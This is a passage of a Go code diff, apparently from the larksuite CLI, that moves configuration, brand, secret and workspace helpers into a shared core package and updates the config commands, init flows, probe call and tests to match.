return &core.AppConfig{
AppId: appID,
AppSecret: stored,
Brand: brand.ParseBrand(b.cfg.Accounts.App.Tenant),
Brand: core.ParseBrand(b.cfg.Accounts.App.Tenant),
}, nil
}

View File

@@ -8,7 +8,7 @@ import (
"reflect"
"testing"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
@@ -20,10 +20,10 @@ type fakeBinder struct {
path string
}
func (b *fakeBinder) Name() string { return b.name }
func (b *fakeBinder) ConfigPath() string { return b.path }
func (b *fakeBinder) ListCandidates() ([]Candidate, error) { return nil, nil }
func (b *fakeBinder) Build(appID string) (*configpkg.AppConfig, error) { return nil, nil }
func (b *fakeBinder) Name() string { return b.name }
func (b *fakeBinder) ConfigPath() string { return b.path }
func (b *fakeBinder) ListCandidates() ([]Candidate, error) { return nil, nil }
func (b *fakeBinder) Build(appID string) (*core.AppConfig, error) { return nil, nil }
// tuiUnreachable is a tuiPrompt that fails the test if called. It's the
// guardrail that proves the non-TUI decision paths really do stay out of the

View File

@@ -4,8 +4,8 @@
package config
import (
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/spf13/cobra"
)
@@ -31,13 +31,12 @@ func NewCmdConfig(f *cmdutil.Factory) *cobra.Command {
cmd.AddCommand(NewCmdConfigShow(f, nil))
cmd.AddCommand(NewCmdConfigDefaultAs(f))
cmd.AddCommand(NewCmdConfigStrictMode(f))
cmd.AddCommand(NewCmdConfigRiskControl(f))
cmd.AddCommand(NewCmdConfigPolicy(f))
cmd.AddCommand(NewCmdConfigPlugins(f))
cmd.AddCommand(NewCmdConfigKeychainDowngrade(f))
return cmd
}
func parseBrand(value string) brand.Brand {
return brand.ParseBrand(value)
func parseBrand(value string) core.LarkBrand {
return core.ParseBrand(value)
}

View File

@@ -12,16 +12,14 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/keychain"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/secret"
)
type noopConfigKeychain struct{}
@@ -68,8 +66,8 @@ func TestConfigInitCmd_FlagParsing(t *testing.T) {
}
func TestConfigShowCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *ConfigShowOptions
@@ -110,16 +108,16 @@ func TestConfigShowRun_NotConfiguredReturnsStructuredError(t *testing.T) {
func TestConfigShowRun_NoActiveProfileReturnsStructuredError(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
multi := &configpkg.MultiAppConfig{
multi := &core.MultiAppConfig{
CurrentApp: "missing",
Apps: []configpkg.AppConfig{{
Apps: []core.AppConfig{{
Name: "default",
AppId: "app-default",
AppSecret: secret.PlainSecret("secret-default"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("secret-default"),
Brand: core.BrandFeishu,
}},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
@@ -188,18 +186,18 @@ func TestSaveInitConfig_OmitLangPreservesPrior(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
f, _, _, _ := cmdutil.TestFactory(t, nil)
existing := &configpkg.MultiAppConfig{Apps: []configpkg.AppConfig{
{AppId: "cli_x", AppSecret: secret.PlainSecret("s"), Brand: brand.Feishu, Lang: i18n.LangJaJP},
existing := &core.MultiAppConfig{Apps: []core.AppConfig{
{AppId: "cli_x", AppSecret: core.PlainSecret("s"), Brand: core.BrandFeishu, Lang: i18n.LangJaJP},
}}
if err := configpkg.SaveMultiAppConfig(existing); err != nil {
if err := core.SaveMultiAppConfig(existing); err != nil {
t.Fatalf("seed config: %v", err)
}
if err := saveInitConfig("", existing, f, "cli_x", secret.PlainSecret("s2"), brand.Feishu, ""); err != nil {
if err := saveInitConfig("", existing, f, "cli_x", core.PlainSecret("s2"), core.BrandFeishu, ""); err != nil {
t.Fatalf("saveInitConfig (no --lang): %v", err)
}
got, err := configpkg.LoadMultiAppConfig()
got, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig: %v", err)
}
@@ -320,17 +318,17 @@ func TestConfigRemoveRun_SaveFailurePreservesExistingConfigAndSecrets(t *testing
configDir := t.TempDir()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", configDir)
multi := &configpkg.MultiAppConfig{
Apps: []configpkg.AppConfig{{
multi := &core.MultiAppConfig{
Apps: []core.AppConfig{{
AppId: "app-test",
AppSecret: secret.SecretInput{
Ref: &secret.SecretRef{Source: "keychain", ID: "appsecret:app-test"},
AppSecret: core.SecretInput{
Ref: &core.SecretRef{Source: "keychain", ID: "appsecret:app-test"},
},
Brand: brand.Feishu,
Users: []configpkg.AppUser{{UserOpenId: "ou_1", UserName: "Tester"}},
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_1", UserName: "Tester"}},
}},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
@@ -359,7 +357,7 @@ func TestConfigRemoveRun_SaveFailurePreservesExistingConfigAndSecrets(t *testing
if err := os.Chmod(configDir, 0700); err != nil {
t.Fatalf("restore Chmod(%s) error = %v", configDir, err)
}
saved, err := configpkg.LoadMultiAppConfig()
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}
@@ -379,18 +377,18 @@ func TestConfigRemoveRun_SaveFailurePreservesExistingConfigAndSecrets(t *testing
func TestSaveAsProfile_RejectsProfileNameCollisionWithExistingAppID(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
existing := &configpkg.MultiAppConfig{
Apps: []configpkg.AppConfig{
existing := &core.MultiAppConfig{
Apps: []core.AppConfig{
{
Name: "prod",
AppId: "cli_prod",
AppSecret: secret.PlainSecret("secret"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
},
},
}
err := saveAsProfile(existing, keychain.KeychainAccess(&noopConfigKeychain{}), "cli_prod", "app-new", secret.PlainSecret("new-secret"), brand.Lark, "en")
err := saveAsProfile(existing, keychain.KeychainAccess(&noopConfigKeychain{}), "cli_prod", "app-new", core.PlainSecret("new-secret"), core.BrandLark, "en")
if err == nil {
t.Fatal("expected conflict error")
}
@@ -430,21 +428,21 @@ func TestWrapSaveConfigError_PassesTypedValidationThrough(t *testing.T) {
}
func TestUpdateExistingProfileWithoutSecret_RejectsAppIDChange(t *testing.T) {
multi := &configpkg.MultiAppConfig{
multi := &core.MultiAppConfig{
CurrentApp: "prod",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{
Name: "prod",
AppId: "app-old",
AppSecret: secret.SecretInput{Ref: &secret.SecretRef{Source: "keychain", ID: "appsecret:app-old"}},
Brand: brand.Feishu,
AppSecret: core.SecretInput{Ref: &core.SecretRef{Source: "keychain", ID: "appsecret:app-old"}},
Brand: core.BrandFeishu,
Lang: "zh",
Users: []configpkg.AppUser{{UserOpenId: "ou_1", UserName: "User"}},
Users: []core.AppUser{{UserOpenId: "ou_1", UserName: "User"}},
},
},
}
err := updateExistingProfileWithoutSecret(multi, "", "app-new", brand.Lark, "en")
err := updateExistingProfileWithoutSecret(multi, "", "app-new", core.BrandLark, "en")
if err == nil {
t.Fatal("expected error when changing app ID without a new secret")
}

View File

@@ -8,8 +8,7 @@ import (
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/core"
"github.com/spf13/cobra"
)
@@ -21,14 +20,14 @@ func NewCmdConfigDefaultAs(f *cmdutil.Factory) *cobra.Command {
Long: "Without arguments, shows the current default identity. Pass user, bot, or auto to set a new default.",
Args: cobra.MaximumNArgs(1),
RunE: func(cmd *cobra.Command, args []string) error {
multi, err := configpkg.LoadOrNotConfigured()
multi, err := core.LoadOrNotConfigured()
if err != nil {
return err
}
app := multi.CurrentAppConfig(f.Invocation.Profile)
if app == nil {
return configpkg.NoActiveProfileError()
return core.NoActiveProfileError()
}
if len(args) == 0 {
@@ -45,8 +44,8 @@ func NewCmdConfigDefaultAs(f *cmdutil.Factory) *cobra.Command {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid identity type %q, valid values: user | bot | auto", value)
}
app.DefaultAs = identity.Identity(value)
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
app.DefaultAs = core.Identity(value)
if err := core.SaveMultiAppConfig(multi); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
fmt.Fprintf(f.IOStreams.ErrOut, "Default identity set to: %s\n", value)

View File

@@ -13,16 +13,13 @@ import (
"github.com/spf13/cobra"
brandpkg "github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/keychain"
"github.com/larksuite/cli/internal/output"
secretpkg "github.com/larksuite/cli/internal/secret"
"github.com/larksuite/cli/internal/workspace"
)
// ConfigInitOptions holds all inputs for config init.
@@ -124,7 +121,7 @@ func guardAgentWorkspace(opts *ConfigInitOptions) error {
if opts.ForceInit {
return nil
}
ws := workspace.DetectWorkspaceFromEnv(os.Getenv)
ws := core.DetectWorkspaceFromEnv(os.Getenv)
if ws.IsLocal() {
return nil
}
@@ -139,7 +136,7 @@ func (o *ConfigInitOptions) hasAnyNonInteractiveFlag() bool {
}
// cleanupOldConfig clears keychain entries (AppSecret + UAT) for all apps in existing config except the app whose AppId equals skipAppID.
func cleanupOldConfig(existing *configpkg.MultiAppConfig, f *cmdutil.Factory, skipAppID string) {
func cleanupOldConfig(existing *core.MultiAppConfig, f *cmdutil.Factory, skipAppID string) {
if existing == nil {
return
}
@@ -147,7 +144,7 @@ func cleanupOldConfig(existing *configpkg.MultiAppConfig, f *cmdutil.Factory, sk
if app.AppId == skipAppID {
continue
}
secretpkg.RemoveSecretStore(app.AppSecret, f.Keychain)
core.RemoveSecretStore(app.AppSecret, f.Keychain)
for _, user := range app.Users {
auth.RemoveStoredToken(app.AppId, user.UserOpenId)
}
@@ -155,19 +152,19 @@ func cleanupOldConfig(existing *configpkg.MultiAppConfig, f *cmdutil.Factory, sk
}
// saveAsOnlyApp overwrites config.json with a single-app config.
func saveAsOnlyApp(appId string, secret secretpkg.SecretInput, brand brandpkg.Brand, lang string) error {
config := &configpkg.MultiAppConfig{
Apps: []configpkg.AppConfig{{
AppId: appId, AppSecret: secret, Brand: brand, Lang: i18n.Lang(lang), Users: []configpkg.AppUser{},
func saveAsOnlyApp(appId string, secret core.SecretInput, brand core.LarkBrand, lang string) error {
config := &core.MultiAppConfig{
Apps: []core.AppConfig{{
AppId: appId, AppSecret: secret, Brand: brand, Lang: i18n.Lang(lang), Users: []core.AppUser{},
}},
}
return configpkg.SaveMultiAppConfig(config)
return core.SaveMultiAppConfig(config)
}
// saveInitConfig saves a new/updated app config, respecting --profile mode.
// With profileName: appends or updates the named profile (preserves other profiles).
// Without profileName: cleans up old config and saves as the only app.
func saveInitConfig(profileName string, existing *configpkg.MultiAppConfig, f *cmdutil.Factory, appId string, secret secretpkg.SecretInput, brand brandpkg.Brand, lang string) error {
func saveInitConfig(profileName string, existing *core.MultiAppConfig, f *cmdutil.Factory, appId string, secret core.SecretInput, brand core.LarkBrand, lang string) error {
if profileName != "" {
return saveAsProfile(existing, f.Keychain, profileName, appId, secret, brand, lang)
}
@@ -198,20 +195,20 @@ func wrapSaveConfigError(err error) error {
// saveAsProfile appends or updates a named profile in the config.
// If a profile with the same name exists, it updates it; otherwise appends.
// When updating, cleans up old keychain secrets if AppId changed.
func saveAsProfile(existing *configpkg.MultiAppConfig, kc keychain.KeychainAccess, profileName, appId string, secret secretpkg.SecretInput, brand brandpkg.Brand, lang string) error {
func saveAsProfile(existing *core.MultiAppConfig, kc keychain.KeychainAccess, profileName, appId string, secret core.SecretInput, brand core.LarkBrand, lang string) error {
multi := existing
if multi == nil {
multi = &configpkg.MultiAppConfig{}
multi = &core.MultiAppConfig{}
}
if idx := findProfileIndexByName(multi, profileName); idx >= 0 {
// Clean up old keychain secret and user tokens if AppId changed
if multi.Apps[idx].AppId != appId {
secretpkg.RemoveSecretStore(multi.Apps[idx].AppSecret, kc)
core.RemoveSecretStore(multi.Apps[idx].AppSecret, kc)
for _, user := range multi.Apps[idx].Users {
auth.RemoveStoredToken(multi.Apps[idx].AppId, user.UserOpenId)
}
multi.Apps[idx].Users = []configpkg.AppUser{}
multi.Apps[idx].Users = []core.AppUser{}
}
multi.Apps[idx].AppId = appId
multi.Apps[idx].AppSecret = secret
@@ -224,19 +221,19 @@ func saveAsProfile(existing *configpkg.MultiAppConfig, kc keychain.KeychainAcces
WithParam("--name")
}
// Append new profile
multi.Apps = append(multi.Apps, configpkg.AppConfig{
multi.Apps = append(multi.Apps, core.AppConfig{
Name: profileName,
AppId: appId,
AppSecret: secret,
Brand: brand,
Lang: i18n.Lang(lang),
Users: []configpkg.AppUser{},
Users: []core.AppUser{},
})
}
return configpkg.SaveMultiAppConfig(multi)
return core.SaveMultiAppConfig(multi)
}
func findProfileIndexByName(multi *configpkg.MultiAppConfig, profileName string) int {
func findProfileIndexByName(multi *core.MultiAppConfig, profileName string) int {
if multi == nil {
return -1
}
@@ -248,7 +245,7 @@ func findProfileIndexByName(multi *configpkg.MultiAppConfig, profileName string)
return -1
}
func findAppIndexByAppID(multi *configpkg.MultiAppConfig, appID string) int {
func findAppIndexByAppID(multi *core.MultiAppConfig, appID string) int {
if multi == nil {
return -1
}
@@ -275,13 +272,13 @@ func wrapUpdateExistingProfileErr(err error) error {
return errs.NewInternalError(errs.SubtypeSDKError, "failed to save config: %v", err).WithCause(err)
}
func updateExistingProfileWithoutSecret(existing *configpkg.MultiAppConfig, profileName, appID string, brand brandpkg.Brand, lang string) error {
func updateExistingProfileWithoutSecret(existing *core.MultiAppConfig, profileName, appID string, brand core.LarkBrand, lang string) error {
if existing == nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty for new configuration").
WithParam("--app-secret")
}
var app *configpkg.AppConfig
var app *core.AppConfig
if profileName != "" {
if idx := findProfileIndexByName(existing, profileName); idx >= 0 {
app = &existing.Apps[idx]
@@ -305,7 +302,7 @@ func updateExistingProfileWithoutSecret(existing *configpkg.MultiAppConfig, prof
app.AppId = appID
app.Brand = brand
app.Lang = preferredLang(i18n.Lang(lang), app.Lang)
return configpkg.SaveMultiAppConfig(existing)
return core.SaveMultiAppConfig(existing)
}
func configInitRun(opts *ConfigInitOptions) error {
@@ -326,14 +323,14 @@ func configInitRun(opts *ConfigInitOptions) error {
}
}
existing, err := configpkg.LoadMultiAppConfig()
existing, err := core.LoadMultiAppConfig()
if err != nil {
existing = nil // treat as empty
}
// Validate --profile name if set
if opts.ProfileName != "" {
if err := configpkg.ValidateProfileName(opts.ProfileName); err != nil {
if err := core.ValidateProfileName(opts.ProfileName); err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%v", err).WithCause(err)
}
}
@@ -341,14 +338,14 @@ func configInitRun(opts *ConfigInitOptions) error {
// Mode 1: Non-interactive
if opts.AppID != "" && opts.appSecret != "" {
brand := parseBrand(opts.Brand)
secret, err := secretpkg.ForStorage(opts.AppID, secretpkg.PlainSecret(opts.appSecret), f.Keychain)
secret, err := core.ForStorage(opts.AppID, core.PlainSecret(opts.appSecret), f.Keychain)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, opts.AppID, secret, brand, opts.Lang); err != nil {
return wrapSaveConfigError(err)
}
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", workspace.GetConfigPath()))
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
printLangPreferenceConfirmation(opts)
output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": opts.AppID, "appSecret": "****", "brand": brand})
if err := runProbe(opts.Ctx, f, opts.AppID, opts.appSecret, brand); err != nil {
@@ -380,8 +377,8 @@ func configInitRun(opts *ConfigInitOptions) error {
if result == nil {
return errs.NewInternalError(errs.SubtypeSDKError, "app creation returned no result")
}
existing, _ := configpkg.LoadMultiAppConfig()
secret, err := secretpkg.ForStorage(result.AppID, secretpkg.PlainSecret(result.AppSecret), f.Keychain)
existing, _ := core.LoadMultiAppConfig()
secret, err := core.ForStorage(result.AppID, core.PlainSecret(result.AppSecret), f.Keychain)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
}
@@ -407,11 +404,11 @@ func configInitRun(opts *ConfigInitOptions) error {
WithParam("--app-id")
}
existing, _ := configpkg.LoadMultiAppConfig()
existing, _ := core.LoadMultiAppConfig()
if result.AppSecret != "" {
// New secret provided (either from "create" or "existing" with input)
secret, err := secretpkg.ForStorage(result.AppID, secretpkg.PlainSecret(result.AppSecret), f.Keychain)
secret, err := core.ForStorage(result.AppID, core.PlainSecret(result.AppSecret), f.Keychain)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
}
@@ -446,7 +443,7 @@ func configInitRun(opts *ConfigInitOptions) error {
}
// Mode 5: Legacy interactive (readline fallback)
firstApp := (*configpkg.AppConfig)(nil)
firstApp := (*core.AppConfig)(nil)
if existing != nil {
firstApp = existing.CurrentAppConfig("")
}
@@ -497,9 +494,9 @@ func configInitRun(opts *ConfigInitOptions) error {
if resolvedAppId == "" && firstApp != nil {
resolvedAppId = firstApp.AppId
}
var resolvedSecret secretpkg.SecretInput
var resolvedSecret core.SecretInput
if appSecretInput != "" {
resolvedSecret = secretpkg.PlainSecret(appSecretInput)
resolvedSecret = core.PlainSecret(appSecretInput)
} else if firstApp != nil {
resolvedSecret = firstApp.AppSecret
}
@@ -516,14 +513,14 @@ func configInitRun(opts *ConfigInitOptions) error {
WithParam("--app-id")
}
storedSecret, err := secretpkg.ForStorage(resolvedAppId, resolvedSecret, f.Keychain)
storedSecret, err := core.ForStorage(resolvedAppId, resolvedSecret, f.Keychain)
if err != nil {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, resolvedAppId, storedSecret, parseBrand(resolvedBrand), opts.Lang); err != nil {
return wrapSaveConfigError(err)
}
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", workspace.GetConfigPath()))
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
printLangPreferenceConfirmation(opts)
if appSecretInput != "" {
if err := runProbe(opts.Ctx, f, resolvedAppId, appSecretInput, parseBrand(resolvedBrand)); err != nil {

View File

@@ -10,14 +10,13 @@ import (
"net"
"github.com/charmbracelet/huh"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/internal/build"
qrcode "github.com/skip2/go-qrcode"
"github.com/larksuite/cli/errs"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/transport"
)
@@ -25,7 +24,7 @@ import (
// configInitResult holds the result of the interactive config init flow.
type configInitResult struct {
Mode string // "create" or "existing"
Brand brand.Brand
Brand core.LarkBrand
AppID string
AppSecret string
}
@@ -63,8 +62,8 @@ func runInteractiveConfigInit(ctx context.Context, f *cmdutil.Factory, msg *init
// runExistingAppForm shows a huh form for manually entering App ID / App Secret / Brand.
func runExistingAppForm(f *cmdutil.Factory, msg *initMsg) (*configInitResult, error) {
// Load existing config for defaults
existing, _ := configpkg.LoadMultiAppConfig()
var firstApp *configpkg.AppConfig
existing, _ := core.LoadMultiAppConfig()
var firstApp *core.AppConfig
if existing != nil {
firstApp = existing.CurrentAppConfig("")
}
@@ -151,8 +150,8 @@ func runExistingAppForm(f *cmdutil.Factory, msg *initMsg) (*configInitResult, er
// runCreateAppFlow runs the "create new app" flow via OpenClaw device flow.
// If brandOverride is non-empty, skip the interactive brand selection.
func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride brand.Brand, msg *initMsg) (*configInitResult, error) {
var larkBrand brand.Brand
func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride core.LarkBrand, msg *initMsg) (*configInitResult, error) {
var larkBrand core.LarkBrand
if brandOverride != "" {
larkBrand = brandOverride
} else {

View File

@@ -11,10 +11,10 @@ import (
"net/http"
"time"
brandpkg "github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
)
@@ -47,7 +47,7 @@ const probeTimeout = 3 * time.Second
// 2. If TAT succeeded, a POST to the probe endpoint is fired. The outcome of
// that call (success, server error, timeout, parse failure) is always
// ignored — return nil regardless.
func runProbe(parent context.Context, factory *cmdutil.Factory, appID, appSecret string, brand brandpkg.Brand) error {
func runProbe(parent context.Context, factory *cmdutil.Factory, appID, appSecret string, brand core.LarkBrand) error {
if factory == nil {
return nil
}
@@ -73,7 +73,7 @@ func runProbe(parent context.Context, factory *cmdutil.Factory, appID, appSecret
}
// TAT succeeded — fire the probe call. Any outcome is ignored.
url := brandpkg.ResolveEndpoints(brand).Open + "/open-apis/application/v6/larksuite_cli_app/probe"
url := core.ResolveEndpoints(brand).Open + "/open-apis/application/v6/larksuite_cli_app/probe"
body := []byte(fmt.Sprintf(`{"from":"lark-cli/%s"}`, build.Version))
req, err := http.NewRequestWithContext(ctx, http.MethodPost, url, bytes.NewReader(body))
if err != nil {

View File

@@ -13,10 +13,10 @@ import (
"testing"
"time"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// fakeRT routes requests to per-path handlers and records what it saw.
@@ -132,7 +132,7 @@ func TestRunProbe_TATInvalidClient_ReturnsConfigError(t *testing.T) {
}
f, errBuf := fakeFactory(t, rt)
err := runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu)
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
if rt.probeCalls != 0 {
t.Error("probe endpoint must not be called when TAT fails")
@@ -148,7 +148,7 @@ func TestRunProbe_TATUnauthorizedClient_ReturnsConfigError(t *testing.T) {
},
}
f, errBuf := fakeFactory(t, rt)
assertConfigRejection(t, runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu), errBuf)
assertConfigRejection(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
}
// Any other deterministic client-side OAuth error (e.g. invalid_scope) falls
@@ -161,7 +161,7 @@ func TestRunProbe_TATOtherClientError_Propagates(t *testing.T) {
},
}
f, errBuf := fakeFactory(t, rt)
err := runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu)
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
if err == nil || !errs.IsTyped(err) {
t.Fatalf("expected a propagated typed error, got %T: %v", err, err)
}
@@ -180,7 +180,7 @@ func TestRunProbe_TATHTTPNon200_Silent(t *testing.T) {
},
}
f, errBuf := fakeFactory(t, rt)
assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu), errBuf)
assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
}
}
@@ -191,7 +191,7 @@ func TestRunProbe_TATTransportError_Silent(t *testing.T) {
},
}
f, errBuf := fakeFactory(t, rt)
assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu), errBuf)
assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
}
func TestRunProbe_TATSuccess_ProbeFails_Silent(t *testing.T) {
@@ -201,7 +201,7 @@ func TestRunProbe_TATSuccess_ProbeFails_Silent(t *testing.T) {
},
}
f, errBuf := fakeFactory(t, rt)
err := runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu)
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
if rt.probeCalls != 1 {
t.Errorf("probe should be called once, got %d", rt.probeCalls)
}
@@ -211,7 +211,7 @@ func TestRunProbe_TATSuccess_ProbeFails_Silent(t *testing.T) {
func TestRunProbe_TATSuccess_ProbeOK_Silent(t *testing.T) {
rt := &fakeRT{}
f, errBuf := fakeFactory(t, rt)
err := runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu)
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
if rt.tatCalls != 1 || rt.probeCalls != 1 {
t.Errorf("expected 1/1 calls, got tat=%d probe=%d", rt.tatCalls, rt.probeCalls)
}
@@ -221,7 +221,7 @@ func TestRunProbe_TATSuccess_ProbeOK_Silent(t *testing.T) {
func TestRunProbe_ProbeRequestShape(t *testing.T) {
rt := &fakeRT{}
f, _ := fakeFactory(t, rt)
if err := runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu); err != nil {
if err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu); err != nil {
t.Fatalf("unexpected error: %v", err)
}
@@ -245,7 +245,7 @@ func TestRunProbe_ProbeRequestShape(t *testing.T) {
func TestRunProbe_LarkBrand_HostRoutedCorrectly(t *testing.T) {
rt := &fakeRT{}
f, _ := fakeFactory(t, rt)
if err := runProbe(context.Background(), f, "cli_x", "secret_y", brand.Lark); err != nil {
if err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandLark); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if rt.probeReq == nil {
@@ -262,7 +262,7 @@ func TestRunProbe_HTTPClientError_Silent(t *testing.T) {
f.HttpClient = func() (*http.Client, error) {
return nil, errors.New("client init failed")
}
assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu), errBuf)
assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
}
func TestRunProbe_TimeoutHonored(t *testing.T) {
@@ -275,7 +275,7 @@ func TestRunProbe_TimeoutHonored(t *testing.T) {
f, errBuf := fakeFactory(t, rt)
start := time.Now()
err := runProbe(context.Background(), f, "cli_x", "secret_y", brand.Feishu)
err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
elapsed := time.Since(start)
if elapsed > 4*time.Second {

View File

@@ -8,11 +8,9 @@ import (
"fmt"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/secret"
)
// updateExistingProfileWithoutSecret guards four blank-input scenarios. Each
@@ -21,47 +19,47 @@ import (
// not for missing user input.
func TestUpdateExistingProfileWithoutSecret_NilConfig_EmitsValidationError(t *testing.T) {
err := updateExistingProfileWithoutSecret(nil, "", "cli_test", brand.Feishu, "en")
err := updateExistingProfileWithoutSecret(nil, "", "cli_test", core.BrandFeishu, "en")
assertValidationParam(t, err, "--app-secret")
}
func TestUpdateExistingProfileWithoutSecret_UnknownProfile_EmitsValidationError(t *testing.T) {
existing := &configpkg.MultiAppConfig{
Apps: []configpkg.AppConfig{{
existing := &core.MultiAppConfig{
Apps: []core.AppConfig{{
Name: "default",
AppId: "app-default",
AppSecret: secret.PlainSecret("secret-default"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("secret-default"),
Brand: core.BrandFeishu,
}},
}
err := updateExistingProfileWithoutSecret(existing, "missing-profile", "cli_test", brand.Feishu, "en")
err := updateExistingProfileWithoutSecret(existing, "missing-profile", "cli_test", core.BrandFeishu, "en")
assertValidationParam(t, err, "--app-secret")
}
func TestUpdateExistingProfileWithoutSecret_NoCurrentApp_EmitsValidationError(t *testing.T) {
existing := &configpkg.MultiAppConfig{
existing := &core.MultiAppConfig{
CurrentApp: "missing",
Apps: []configpkg.AppConfig{{
Apps: []core.AppConfig{{
Name: "default",
AppId: "app-default",
AppSecret: secret.PlainSecret("secret-default"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("secret-default"),
Brand: core.BrandFeishu,
}},
}
err := updateExistingProfileWithoutSecret(existing, "", "cli_test", brand.Feishu, "en")
err := updateExistingProfileWithoutSecret(existing, "", "cli_test", core.BrandFeishu, "en")
assertValidationParam(t, err, "--app-secret")
}
